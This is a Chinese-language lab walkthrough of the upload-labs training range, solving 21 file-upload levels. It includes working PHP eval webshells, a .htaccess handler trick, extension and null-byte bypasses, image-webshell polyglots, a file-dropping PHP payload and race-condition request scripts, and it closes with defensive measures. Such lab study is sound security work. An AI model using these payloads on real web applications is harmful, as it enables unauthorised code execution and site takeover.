upload-labs通关笔记
本文最后更新于 2024-07-26,文章内容可能已经过时。
简介
upload-labs
是一个使用 php
语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
第一关
准备一句话php木马:
<?php @eval($_POST['code']);?>
根据直接上传php木马,发现前端报错:
解决方法:
【方法一】打开浏览器检查功能,关闭js加载,即可绕过限制。
【方法二】通过burp suit抓包改后缀名称(如:jpg,png等等),即可绕过前端JS校验。
【方法一】:
【方法二】:
打开burp 对后缀进行修改,改成原来的php
如上图,成功上传后,连接蚁剑进行测试:
第二关
首先我们还是直接上传我们的webshell.php,看看有什么提示 打开burp 我通过上传shell.php文件发现**提示:文件类型不正确,请重新上传!
,可以判断该pass是检查的文件的MIME类型。 【方法一】 利用Burp Suit修改成允许的MIME类型进行文件上传采用image/jpeg、image/png的MIME类型: 上传 .php
**后缀的文件,修改请求包内容内的 Content-Type
,将 application/octet-stream
修改为 image/png
或者 image/jpeg
即可上传成功。
方法一:
方法二:同上一关的方法二,上传成功后连接蚁剑。
第三关
还是老操作,直接上传咱**webshell.php
**,提示不能上传后缀为这些的文件
查看源码发现是黑名单拦截,通过使用 php3
,phtml
等后缀进行绕过:
使用burp进行抓包拦截后修改后缀名为 php3
,进行放包:
完美上传,直接使用蚁剑访问就行,继续下一关
第四关
依旧提示**文件类型
**不允许上传,盲猜依旧是黑名单拦截,我们看一下源码
但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个 .htaccess
内容如下的文件:
SetHandler application/x-httpd-php
//编写好后上传
这样所有文件都会解析为php,然后再上传图片马,就可以解析:
用蚁剑访问一下试试,完美
第五关
咱们照旧还是直接提交**webshell.php
文件测试,提示不允许类型,盲猜还是黑名单,并且这次也拦截了 .htaccess文件
**我们看一下源码
通过查看源码,我们发现并没有对后缀大小写进行明确的锁定,因此我们可以借此绕过
用检查工具,查看上传的文件名,上传后复制链接,直接用蚁剑进行连接
第六关
直接上传info.php,依旧报不允许上传文件类型,不用猜还是黑名单,查看源码,不仅拦截了大部分后缀,大小写也拦截了,厉害了
可以通过%00或者0x00来绕过。即对后缀名进行去空处理,可在后缀名中加空绕过:
成功上传后用蚁剑进行连接即可。
第七关
通过查看源码,我们发现还是黑名单,但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:
用检查工具获取文件名,蚁剑连接成功访问
第八关
查看源码,发现还是黑名单,但是没有对后缀名进行去”::$DATA
”处理,利用windows特性,可在后缀名中加” ::$DATA
”绕过:
第九关
查看源码
黑名单过滤,注意第15行和之前不太一样,路径拼接的是处理后的文件名,于是构造info.php. . (点+空格+点),经过处理后,文件名变成info.php.,即可绕过。
第十关
查看源代码:
依旧是黑名单过滤,注意到,这里是将后缀名替换为空,于是可以利用双写绕过:
第十一关
通过源码可知,有如下的过滤条件:
-
删除文件名末尾的点
-
转换为小写
-
去除字符串::$DATA
-
首尾去空
payload:
<?php phpinfo();?>
将上传的php文件,在burp进行抓包后进行加双写处理,后放行
上传成功,查看文件
第十二关
查看源码可知,只允许上传.jpg|.png|.gif类型文件!这里可以采用00截断的方式进行绕过,由于需要需要php版本<5.3.4,并且magic_quotes_gpc关闭(这个版本太老了,忽略不做了),使用 0x00
截断即(上传图片马jpg后,包含一个info.php%00)可绕过
第十三关
和十二关一样,都是使用00截断的方式进行绕过,由于需要需要php版本<5.3.4,忽略不做了
第十四关
题意可知,上传图片马,要.jpg或者png或者gif格式的文件。
查看源码:
getReailFileType()
用于检测文件头部两个字节的信息(前两个字节是文件格式的标识),并且通过二进制码判断其文件的类型,然后控制文件的上传。
由于其要检测前两个字节的信息,所以不能简单的通过直接修改后缀进行上传。需要制作图片马,采用图片与木马合并的方法,将一张图片1.jpg与木马info.php组成info.jpg文件
cmd执行:
copy 1.jpg /b + info.php /a info.jpg
制作成功后将其上传,但是由于图片不能解析为php代码来执行。若有文件包含漏洞,则可以通过文件包含漏洞进行解析,利用靶场中包含的include.php测试文件包含漏洞。
http://192.168.91.128/secenvs/uploadlabs/include.php?file=./upload/2420240520191742.jpg
第十五关
和第十四关一样的原理。只不过上传的换成png就行了
cmd执行
copy 2.png /b + info.php /a info.png
制作好info.png图片马后上传
第十六关
和前两关原理一样,就是改成gif格式的上传就行了
copy 3.gif /b + info.php /a info.gif
第十七关
和前几关差不多,尝试制作上传gif格式的小马
copy 4.gif /b + info.php /a 4.gif
发现一句话被删除了?查看源码:
应该是这里的 imagecreatefromgif
函数对文件进行了二次渲染。将图片马的一句话删除了,网上插叙知道了这个 imagecreaterfrom..
函数可以调用php GD库(GD库是可以使php对图形图片进行处理的库)
将 info.php
上传上去,尝试写一段python代码,不停的进行访问,直到访问成功为止:条件竞争上传绕过
import requests
url = "http://192.168.91.128/secenvs/uploadlabs/Pass-17/info.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
上传成功后,蚁剑进行连接即可。
第十八关
查看源码:
这关也是条件竞争漏洞的利用
和17关一样 也是先上传 再进行验证的 不符合就删除
依旧利用条件竞争漏洞来直接上传php文件攻击
编写php脚本如下,命名为shell18.php
<?php fputs(fopen('../upload/shell18.php','w'),'<?php phpinfo();?>');?>
编写python脚本如下:
import requests
url = "http://192.168.114.200/upload-labs-master/upload/18.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("发包中")
使用burp不停的进行上传,另一边不断访问,注意访问的文件需要有写权限,不然还是不行
页面中上传,抓包。然后用burp的 Intruder模块不停的发包
两边同时运行就行了
查看源码文件夹,最后得到shell18.php,浏览器访问
第十九关
本关需要阅读index.php和myupload.php
源码查看:
/uploadlabs/Pass-19/index.php
if (isset($_POST['submit']))
{
require_once("./myupload.php");// 包含一次myupload.php 出错会终止执行后面的代码
$imgFileName =time();// 根据当前时间生成文件名
// 创建文件上传类 并传递四个文件上传的基本参数
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);//设置上传目录 define("UPLOAD_PATH","../upload");
/uploadlabs/Pass-19/myupload.php
<?php
# 定义了 MyUpload类
class MyUpload{
// 定义了一大堆东西 重点看$cls_arr_ext_accepted白名单 上传路径$cls_upload_dir
var $cls_upload_dir = ""; // Directory to upload to.
var $cls_filename = ""; // Name of the upload file.
var $cls_tmp_filename = ""; // TMP file Name (tmp name by php).
var $cls_max_filesize = 33554432; // Max file size.
var $cls_filesize =""; // Actual file size.
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
var $cls_file_exists = 0; // Set to 1 to check if file exist before upload.
var $cls_rename_file = 1; // Set to 1 to rename file after upload.
var $cls_file_rename_to = ''; // New name for the file after upload.
var $cls_verbal = 0; // Set to 1 to return an a string instead of an error code.
// 函数传递了$_FILES['upload_file']['name'],
// $_FILES['upload_file']['tmp_name'],
// $_FILES['upload_file']['size'],
// $imgFileName=time()
function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
$this->cls_filename = $file_name;
$this->cls_tmp_filename = $tmp_file_name;
$this->cls_filesize = $file_size;
$this->cls_file_rename_to = $file_rename_to;
}
// 判断文件是否为http post方式上传
function isUploadedFile(){
if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
return "IS_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}
/*先判断../upload/文件夹是否可写
然后赋值给$this->cls_upload_dir 不过这里缺少个"/"
需要自己添加*/
function setDir( $dir ){
if( !is_writable( $dir ) ){
return "DIRECTORY_FAILURE";
} else {
$this->cls_upload_dir = $dir."/"; // $this->cls_upload_dir = "../upload/"
return 1;
}
}
// 判断是否在白名单中 白名单验证
if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
return "EXTENSION_FAILURE";
} else {
return 1;
}
}
// 检查文件大小 可忽略
function checkSize(){
if( $this->cls_filesize > $this->cls_max_filesize ){
return "FILE_SIZE_FAILURE";
} else {
return 1;
}
}
// 移动临时文件到upload目录
function move(){
if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
return "MOVE_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}
// 检查上传文件夹../upload/time()是否存在
function checkFileExists(){
if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
return "FILE_EXISTS_FAILURE";
} else {
return 1;
}
}
// 将上面函数进行整合
function upload( $dir ){
.......
}
?>
从源码中看出,这关是条件竞争+白名单+其他漏洞配合
upload()函数大致思路如下:
判断文件是否为http post方式上传
建立文件夹
白名单验证后缀名
检查大小
检查上传文件夹是否存在
移动临时文件到上传目录
对文件进行重命名同样的逻辑缺陷 不过是白名单 上传路径不可控制 所以上传含有木马的白名单文件 配合条件竞争和其他漏洞来实现写入木马
用白名单+条件竞争+文件包含漏洞的方法通关:
编写php文本,使用copy命令合并成jpg图片木马:
<?php phpinfo();?>
copy shell19.php/a+tupian.png/b 19.jpg
编写python脚本如下:
import requests
url = "http://192.168.91.128/secenvs/uploadlabs/include.php?file=upload/19.jpg"
while True:
html = requests.get(url)
if ('Warning' not in str(html.text)):
print('ok')
break
else:
print("发包中")
和17,18关一样,上传图片马,Burp进行抓包不断发送,同时运行python脚本
成功上传
第二十关
查看源码:
有两个重要的点产生漏洞
$file_name = $_POST['save_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
一个是获取文件名通过 $_POST
来获取。 $_POST
传参导致文件上传路径可控
第二个是使用 move_uploaded_file
函数执行上传动作,该函数会忽略文件末尾的 /.
因此可以在文件名后加 /.
这两个符号来绕过黑名单的限制
编写payload如下:
<?php phpinfo();?>
保存文件,上传后用burp进行抓包,修改后缀,发现上传成功。
思路二
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
apache2.4.0~2.4.29版本
判断后缀时会带上末尾的换行符,也就是说.php%0A这个后缀和.php一样都会被apache当作php文件解析。这个漏洞只有 Linux
能用,倒不是因为windows上的apache没有这个问题,而是因为windows不允许使用换行符作为文件名的结尾。
运用Apache HTTPD 换行解析漏洞:
同上编写 phpinfo()
文件,保存后上传,用burp抓包,修改后缀名为 %0A
第二十一关
MIME验证+白名单+上传路径可控
阅读源码:
从源码可以看出文件的验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
--> 判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件
explode(separator,string[,limit])函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数
思路:
- 上传shell21.php和POST参数,burp抓包
- 修改content-type
- 修改POST参数为数组类型,索引[0]为shell21.php,索引[2]为jpg|png|gif。
只要第二个索引不为1,$file[count($file) - 1]
就等价于$file[2-1],值为空 - burp放包,使用蚁剑连接../upload/shell21.php
过程:
编写一句话木马,保存文件为shell21.php
<?php @eval($_POST['aaa']);?>
页面中上传,burp进行抓包
修改如下,进行放包,提示文件上传成功。
查看源码目录,发现已经上传成功。
蚁剑进行连接测试:
文件上传的防御手段
- 不要暴露上传文件的位置;
- 禁用上传文件的执行权限;
- 黑白名单;
- 对上传的文件重命名,不易被猜测;
- 对文件内容进行二次渲染;
- 对上传的内容进行读取检查;
- 不同系统有不同的需求,根据系统需求制定特定的防御手段。
- 加上WAF防火墙
总结
通过upload-labs靶场的练习,我了解更多的防护与绕过手段。
文件上传是Web应用程序中常见的功能,但也是安全风险较高的功能之一。文件上传功能存在许多潜在的安全漏洞,攻击者可以利用这些漏洞来执行恶意代码、上传恶意文件或者绕过访问控制。
总的来说,文件上传功能是一个潜在的安全风险点,开发人员在设计和实现文件上传功能时,需要充分考虑安全性,并采取相应的措施来防范潜在的攻击。定期对文件上传功能进行安全审计和漏洞扫描,及时修复发现的安全问题,可以有效提升系统的安全性。
- 感谢你赐予我前进的力量